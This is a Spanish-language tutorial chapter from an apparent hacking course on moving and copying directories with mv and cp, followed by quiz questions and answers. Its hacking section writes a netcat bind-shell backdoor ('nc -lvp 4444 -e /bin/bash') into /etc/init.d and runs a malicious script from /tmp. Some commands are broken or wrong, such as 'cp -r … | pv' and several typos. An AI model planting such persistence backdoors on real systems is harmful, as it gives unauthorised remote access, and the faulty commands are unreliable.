Bienvenidos a este capítulo de este Curso de Linux para Hackers, Gestión de Directorios desde la Shell. Comparte este articulo y síguenos para recibir más capítulos, guías y cursos gratis.

Esta guía es parte de un curso mucho más grande en donde te enseñamos a convertirte en hacker de 0 a 100. Desde los conocimientos más básicos hasta conseguir empleo.

En esta guía veremos desde cero un tema tan amplio como es Linux y lo haremos desde el punto de vista del hacking y la ciberseguridad.

Para saber más comente a continuación, respondemos todos y cada uno de los comentarios.

Índice

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

Lo que aprenderás en este artículo:

  1. Comando mv para mover archivos y directorios en Linux.
  2. Comando cp para copiar archivos y directorios.
  3. Mover y copiar múltiples directorios simultáneamente.
  4. Renombrar directorios usando mv.
  5. Opciones avanzadas de mv y cp, como -r, -i, -f, y -p.
  6. Uso de comodines (globs) para mover o copiar archivos.
  7. Combinar mv y cp con otros comandos como find.
  8. Aplicaciones en hacking, como ocultar archivos y creación de persistencia.

Mover y copiar directorios

Mover y copiar archivos es esencial para cualquier administrador o hacker. El comando mv mueve archivos o directorios de un lugar a otro, mientras que cp los copia.

Mover y copiar directorios desde la shell (terminal) es una de las habilidades fundamentales para cualquier hacker o administrador de sistemas. Usar la línea de comandos para gestionar archivos y directorios es mucho más eficiente que hacerlo mediante interfaces gráficas. En este artículo te voy a enseñar cómo puedes mover y copiar directorios como un experto, utilizando comandos simples y avanzados.

Comando mv para mover directorios

El comando mv es el encargado de mover archivos y directorios en sistemas Unix (Linux, macOS). Su sintaxis es la siguiente:

mv [opciones] origen destino

Ejemplo básico: Mover un directorio

Supongamos que tienes un directorio llamado proyectos y quieres moverlo al directorio /home/hacker/trabajo:

mv proyectos /home/hacker/trabajo

Este comando mueve el directorio proyectos y su contenido a la ubicación /home/hacker/trabajo. Si el destino no existe, el directorio proyectos se renombrará como trabajo.

Ejemplo 2:
mv /home/carlos/archivo.txt /var/www/html/

Este comando mueve el archivo archivo.txt al directorio /var/www/html/, que es comúnmente utilizado para archivos web. Un hacker podría utilizar este comando para mover archivos maliciosos a un servidor web vulnerable.

De forma similar, el comando cp permite copiar archivos:

cp-r /home/carlos/proyectos /tmp/

Este comando copia el directorio proyectos y todo su contenido al directorio temporal /tmp/. Usar la opción -r es necesario para copiar directorios completos de manera recursiva.

Mover múltiples directorios

También puedes mover varios directorios al mismo tiempo. Si tienes varios directorios como proyecto1, proyecto2, y proyecto3, y quieres moverlos todos a /home/hacker/trabajo, puedes usar:

mv proyecto1 proyecto2 proyecto3 /home/hacker/trabajo

Esto moverá los tres directorios al directorio /home/hacker/trabajo.

Renombrar directorios

El comando mv también se utiliza para renombrar directorios. Por ejemplo, si quieres renombrar proyectos a archivos_proyectos:

omv proyectos archivos_proyectos

El comando mv tiene más opciones que puedes explorar

 mv –help

También te recomendamos consultar las páginas man para este comando:

 man mv

Comando cp para copiar directorios

A diferencia de mv, el comando cp se utiliza para copiar archivos y directorios. Para copiar un directorio completo, debes usar la opción -r (recursivo), que le indica a cp que copie todo el contenido, incluidos los subdirectorios. Su sintaxis es:

cp -r [opciones] origen destino

Ejemplo básico: Copiar un directorio

Si tienes un directorio llamado proyectos y quieres copiarlo a /home/hacker/backup, el comando sería:

cp -r proyectos /home/hacker/backup

Esto creará una copia del directorio proyectos dentro de /home/hacker/backup.

Copiar múltiples directorios

Al igual que con mv, puedes copiar varios directorios a la vez. Si tienes proyecto1, proyecto2 y proyecto3, y quieres copiarlos todos al directorio /home/hacker/backup, puedes hacer:

cp -r proyecto1 proyecto2 proyecto3 /home/hacker/backup

Esto creará copias de los tres directorios en el destino especificado.

Copiar directorios con enlaces simbólicos

Si en tu directorio tienes enlaces simbólicos y quieres preservarlos al copiar, usa la opción -a (archive), que mantiene la estructura original del directorio, incluyendo permisos, enlaces simbólicos, etc.:

cp -a proyectos /home/hacker/backup

El comando cp tiene más opciones que puedes explorar

 cp –help

También  te recomendamos consultar las páginas man para este comando:

 man cp

Opciones avanzadas para mv y cp

Mover o copiar con confirmación

Si no estás seguro de si debes sobrescribir un archivo o directorio en el destino, puedes usar la opción -i (interactivo), que te pedirá confirmación antes de sobrescribir cualquier cosa:

mv -i proyectos /home/hacker/trabajo
cp -ri proyectos /home/hacker/backup

En este caso, el comando te preguntará si deseas sobrescribir los archivos en caso de conflicto.

Mostrar progreso durante la copia

Si estás copiando un directorio muy grande y quieres ver el progreso, puedes combinar el comando cp con pv (Pipe Viewer), que muestra una barra de progreso:

cp -r proyectos /home/hacker/backup | pv

Esto es muy útil cuando trabajas con directorios que contienen muchos archivos grandes.

Mantener permisos y atributos

Para asegurarte de que los permisos, propietarios y tiempos de modificación de los archivos se conserven al copiarlos, usa las opciones -p (preserve) o -a (archive):

ocp -rp proyectos /home/hacker/backup

Forzar la copia o el movimiento

Si quieres sobrescribir archivos sin que te pida confirmación, usa la opción -f (force). Esto puede ser útil cuando trabajas con scripts o quieres asegurarte de que los archivos se reemplacen:

mv -f proyectos /home/hacker/trabajo
cp -rf proyectos /home/hacker/backup

Usar comodines para mover o copiar

Si quieres mover o copiar múltiples archivos que sigan un patrón, puedes usar comodines. Por ejemplo, si quieres mover todos los directorios que empiecen con “proyecto” a /home/hacker/trabajo:

mv proyecto* /home/hacker/trabajo

Esto moverá todos los directorios cuyo nombre comience con “proyecto” al directorio de destino.

Combinando mv y cp con otros comandos

Uno de los poderes de la shell es que puedes combinar varios comandos para lograr tareas más complejas. Aquí algunos ejemplos:

Usar find para mover o copiar selectivamente

Si quieres mover o copiar directorios basándote en ciertos criterios (como la fecha de modificación o el nombre), puedes usar el comando find. Por ejemplo, para mover todos los directorios modificados en los últimos 7 días:

find . -type d -mtime -7 -exec mv {} /home/hacker/trabajo \;

Este comando busca todos los directorios (-type d) modificados en los últimos 7 días (-mtime -7) y los mueve a /home/hacker/trabajo.

Copiar o mover solo archivos de cierto tipo

Si solo te interesan los archivos dentro de los directorios que tengan cierta extensión, por ejemplo .txt, puedes combinar find y cp:

find . -type f -name "*.txt" -exec cp {} /home/hacker/backup \;

Esto copiará todos los archivos .txt encontrados en el directorio actual y sus subdirectorios al destino.

Errores comunes y cómo evitarlos

Cuando mueves o copias directorios, hay algunos errores comunes que pueden surgir. Aquí te doy algunos consejos para evitarlos:

1. No usar -r en cp: Si olvidas la opción -r al copiar un directorio, verás un error que te dirá que no puede copiar un directorio sin esta opción. Asegúrate siempre de usar -r o -a cuando trabajes con directorios.

2. Sobrescribir sin querer: Si usas mv o cp sin la opción -i, podrías sobrescribir archivos o directorios sin que te lo pregunte. Para evitar esto, usa siempre -i si no estás completamente seguro.

3. Mover o copiar archivos a un directorio incorrecto: Asegúrate de verificar dos veces el destino antes de ejecutar un comando. Un pequeño error tipográfico puede mover o copiar tus archivos a un lugar que no esperabas.

Gestión avanzada de directorios y su importancia para los hackers

Estos comandos son muy básicos, pero aun así, desde el principio te vamos a ir enseñando como podes usarlos en temas de hacking y ciberseguridad

Ocultar archivos en directorios ocultos

En Linux, los archivos y directorios que comienzan con un punto (.) son considerados ocultos. Los hackers pueden aprovechar esta funcionalidad para esconder archivos maliciosos o scripts dentro del sistema.

Ejemplo: Crear un directorio oculto

mkdir /home/carlos/.oculto

Este comando crea un directorio oculto llamado .oculto dentro del directorio del usuario. Los hackers pueden almacenar archivos dentro de este directorio sin que sean visibles a simple vista.

Exploración de directorios con permisos inadecuados

Muchas veces, los sistemas mal configurados tienen directorios o archivos con permisos más amplios de lo necesario, lo que abre la puerta a explotaciones. Un hacker podría usar herramientas como find para buscar estos archivos y directorios vulnerables.

Ejemplo: Buscar archivos con permisos peligrosos

find / -perm 777

Este comando busca archivos y directorios que tengan permisos de lectura, escritura y ejecución para todos los usuarios. Estos archivos son vulnerables a manipulaciones maliciosas.

Creación de directorios para ataques persistentes

Los hackers a menudo intentan crear acceso persistente a los sistemas que comprometen, lo que significa que, incluso si se reinicia el sistema o se revoca el acceso inicial, aún pueden regresar. Para ello, pueden crear directorios y archivos en lugares estratégicos, como en /etc/ o /usr/local/bin/, para ejecutar scripts maliciosos al inicio del sistema.

Ejemplo: Crear un archivo de inicio automático

echo “nc -lvp 4444 -e /bin/bash”> /etc/init.d/backdoor.sh
chmod+x /etc/init.d/backdoor.sh

Este comando crea un script que ejecuta un servidor de escucha en el puerto 4444, permitiendo que el hacker se conecte remotamente al sistema. Luego, el script se coloca en un directorio de inicio para que se ejecute automáticamente al reiniciar el sistema.

Uso de directorios temporales para ocultar actividades

Los directorios temporales como /tmp o /var/tmp son áreas en las que los archivos se almacenan de forma temporal. Debido a que muchos procesos del sistema los utilizan, los hackers a menudo esconden scripts o archivos maliciosos en estos directorios, confiando en que no se revisen regularmente.

Ejemplo: Ejecutar un script desde un directorio temporal

cp/home/usuario/malware.sh /tmp/
bash /tmp/malware.sh

Este comando copia un script malicioso al directorio /tmp/ y lo ejecuta desde allí. Debido a la naturaleza temporal del directorio, es menos probable que se detecte.

Resumen y Puntos clave:

  1. Comando mv para mover archivos y directorios
    El comando mv se utiliza para mover archivos o directorios de una ubicación a otra. Si el destino no existe, el directorio será renombrado.
    Ejemplo básico:
    • mv proyectos /home/hacker/trabajo
  2. Comando cp para copiar archivos y directorios
    El comando cp copia archivos o directorios. Para copiar directorios completos, se debe usar la opción -r (recursivo), que incluye subdirectorios y archivos.
    Ejemplo básico:
    • cp -r proyectos /home/hacker/backup
  3. Mover y copiar múltiples directorios simultáneamente
    Ambos comandos permiten mover o copiar varios directorios en una sola operación.
    Ejemplo con mv:
    • mv proyecto1 proyecto2 /home/hacker/trabajo
  4. Renombrar directorios con mv
    El comando mv también se utiliza para renombrar directorios o archivos.
    Ejemplo:
    • mv proyectos archivos_proyectos
  5. Opciones avanzadas de mv y cp
    • -r: Mover/copiar recursivamente todo un directorio.-i: Interactivo, pide confirmación antes de sobrescribir.-f: Forzar, sobrescribe sin confirmación.-p: Mantiene permisos y atributos del archivo original.
      Ejemplo:
    • cp -r -p proyectos /home/hacker/backup
  6. Uso de comodines para mover o copiar archivos
    Puedes usar comodines como * para mover o copiar múltiples archivos que coincidan con un patrón.
    Ejemplo:
    • mv proyecto* /home/hacker/trabajo
  7. Combinar mv y cp con otros comandos
    Puedes combinar mv o cp con el comando find para mover/copiar archivos que cumplan ciertos criterios, como fecha de modificación o tipo de archivo.
    Ejemplo:
    • find . -type f -name "*.txt" -exec cp {} /home/hacker/backup \;
  8. Aplicaciones en hacking: ocultar archivos y persistencia
    Hackers pueden usar directorios ocultos (como aquellos que comienzan con .) para esconder archivos o scripts. También pueden crear persistencia al colocar archivos en directorios estratégicos como /etc/init.d/ para que se ejecuten automáticamente en el arranque.
    Ejemplo de creación de un directorio oculto:
    • mkdir /home/carlos/.oculto

Mover y copiar archivos eficientemente usando mv y cp es esencial para cualquier administrador o hacker, proporcionando control total sobre la organización de archivos y sistemas.

Conclusión

La gestión de directorios en Linux es una habilidad esencial, tanto para administradores como para hackers. Para los hackers, esta capacidad es una herramienta poderosa para explorar sistemas, realizar cambios maliciosos, ocultar actividades y eliminar evidencia. Con el conocimiento de los comandos y la estructura de directorios, los hackers pueden ganar un control significativo sobre un sistema comprometido, mientras que los administradores pueden usar las mismas herramientas para proteger y gestionar eficazmente sus servidores y redes.

Mover y copiar directorios desde la shell es una tarea poderosa y flexible que, una vez dominada, te ahorrará mucho tiempo y esfuerzo. Desde operaciones básicas como mover y copiar directorios, hasta combinaciones más avanzadas con otros comandos como find, la línea de comandos te da un control total sobre tu sistema. Con práctica, te convertirás en un maestro gestionando archivos desde la terminal, lo que te permitirá trabajar más rápido y eficiente.

Así que ya sabes, la próxima vez que necesites mover o copiar directorios, ¡hazlo como un experto desde la shell!

Pon en práctica lo aprendido

Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.

10 Preguntas sobre los comandos mv y cp en Linux

  1. ¿Qué hace el comando mv en un sistema Linux?
  2. ¿Cómo puedes mover un directorio llamado “documentos” al directorio /home/usuario?
  3. ¿Qué diferencia hay entre el comando mv y el comando cp?
  4. ¿Qué opción debes usar con el comando cp para copiar directorios de manera recursiva?
  5. ¿Cómo puedes renombrar un directorio utilizando el comando mv?
  6. ¿Qué hace el comando cp -a y cuándo es útil?
  7. ¿Cómo puedes mover varios directorios al mismo tiempo a una ubicación de destino?
  8. ¿Qué hace la opción -i en los comandos mv y cp?
  9. ¿Cómo puedes copiar solo archivos con extensión .txt desde el directorio actual a /home/usuario?
  10. ¿Qué comando puedes usar para mover todos los archivos cuyo nombre comience con “proyecto” al directorio /backup?

10 Ejercicios basados en el uso de mv y cp

  1. Mueve el directorio “proyectos” al directorio /var/www/.
  2. Copia el directorio “backup” y todo su contenido al directorio /home/usuario/backup_nuevo.
  3. Renombra el directorio “trabajo” a “proyecto_final”.
  4. Mueve los directorios “archivo1”, “archivo2” y “archivo3” a /home/hacker/trabajos.
  5. Copia el directorio “documentos” a /tmp, preservando permisos y enlaces simbólicos.
  6. Copia todos los archivos .pdf del directorio /home/usuario al directorio /home/usuario/documentos_pdf.
  7. Mueve todos los archivos que comiencen con “temp_” desde el directorio actual al directorio /tmp.
  8. Usa mv para sobrescribir un archivo en el destino sin pedir confirmación.
  9. Copia solo los archivos modificados en los últimos 7 días desde el directorio /var/log a /backup/logs_recientes.
  10. Encuentra todos los archivos con permisos 777 en el sistema y muévelos al directorio /home/seguridad.

Respuestas a las 10 Preguntas

  1. El comando mv en Linux mueve archivos o directorios de una ubicación a otra o los renombra.
  2. Para mover el directorio “documentos” a /home/usuario, usarías:
    • mv documentos /home/usuario/
  3. El comando mv mueve archivos o directorios, mientras que cp copia archivos o directorios.
  4. La opción -r se utiliza con cp para copiar directorios de forma recursiva.
  5. Para renombrar un directorio con mv, usarías:
    • mv nombre_antiguo nombre_nuevo
  6. El comando cp -a preserva permisos, enlaces simbólicos, y tiempos de modificación al copiar un directorio, útil para hacer copias exactas.
  7. Puedes mover varios directorios al mismo tiempo especificando sus nombres y el destino:
    • mv dir1 dir2 dir3 /ruta/destino
  8. La opción -i en mv y cp hace que el comando te pregunte antes de sobrescribir un archivo.
  9. Para copiar solo los archivos .txt, usarías:
    • cp *.txt /home/usuario/
  10. Para mover todos los archivos que comienzan con “proyecto” al directorio /backup, usarías:
    • mv proyecto* /backup/

Respuestas a los 10 Ejercicios

  1. Mover el directorio “proyectos” a /var/www/:
    • mv proyectos /var/www/
  2. Copiar el directorio “backup” a /home/usuario/backup_nuevo:
    • cp -r backup /home/usuario/backup_nuevo
  3. Renombrar el directorio “trabajo” a “proyecto_final”:
    • mv trabajo proyecto_final
  4. Mover varios directorios a /home/hacker/trabajos:
    • mv archivo1 archivo2 archivo3 /home/hacker/trabajos/
  5. Copiar el directorio “documentos” a /tmp preservando permisos:
    • cp -a documentos /tmp/
  6. Copiar todos los archivos .pdf a un directorio específico:
    • cp *.pdf /home/usuario/documentos_pdf/
  7. Mover archivos que comiencen con “temp_” a /tmp:
    • mv temp_* /tmp/
  8. Mover un archivo sobrescribiéndolo sin confirmación:
    • mv -f archivo.txt /ruta/destino/
  9. Copiar archivos modificados en los últimos 7 días a /backup/logs_recientes:
    • find /var/log -type f -mtime -7 -exec cp {} /backup/logs_recientes/ \;
  10. Mover archivos con permisos 777 a /home/seguridad:
    • find / -perm 777 -type f -exec mv {} /home/seguridad/ \;

No te detengas, sigue avanzando

Aquí tienes un propósito que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera! El mundo necesita más hackers…

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

Sobre los autores

Álvaro Chirou

Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes seguirme en mis redes:

Laprovittera Carlos

Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:

Hacker de 0 a 100 desde las bases hasta conseguir empleo

¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: https://achirou.com/hacker-de-0-a-100-desde-las-bases-hasta-conseguir-empleo/ que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.

Hemos creado una ruta de 0 a 100. Un plan de desarrollo que va desde las bases: cómo aprender hacking, qué aprender, en qué orden; pasando por las areas técnicas necesarias como Linux, Redes, Programación y los conocimientos necesarios en ciber seguridad, hacking, pentesting hasta la práctica y el inicio laboral: Crear tu propio laboratorio, certificaciones, adquirir experiencia e iniciarse laboralmente.

Este es un mega post. Una guía con más de 250 artículos que te llevaran por el camino del hacker. Esta guía es gratuita y esta creada gracias al esfuerzo y al trabajo combinado de Alvaro Chirou y mío (Laprovittera Carlos).

Creamos esta guía (futuro curso) para que puedas iniciarte en este mundo. Puedes arrancar ahora, GRATIS, solo necesitas un PC, conexión a internet y paciencia (Ser hacker NO ES un camino de la noche a la mañana).

El Hacking y la ciberseguridad es una carrera divertida, emocionante y gratificante que te recompensará y desafiará por igual. Sin embargo, para quienes buscan adentrarse en este campo en auge y en constante evolución, puede resultar difícil saber por dónde empezar. ¡Ahí es donde entra en juego nuestra guía en ciberseguridad!

Esta es la hoja de ruta hacia el trabajo de ciberseguridad de tus sueños. Te ayudará a entender qué conocimientos, habilidades y certificados son necesarios para alcanzar tus metas profesionales y tener una carrera próspera. Si quieres ser consultor de ciberseguridad, analista de malware, evaluador de penetración, analista de SOC o cualquier otro puesto de ciberseguridad, esta guía es lo que necesitas.

SIGUE APRENDIENDO GRATIS CON NUESTRAS GUIAS

Aprende con nuestros más de 100 cursos que tenemos disponibles para vos

Compartimos estos recursos para ayudar a la comunidad de hacking y ciberseguridad. COMPARTE y Siéntete libre de agregar más sugerencias en los comentarios a continuación, respondemos todos y cada uno de los comentarios.

Saludos amigos y happy hacking!!!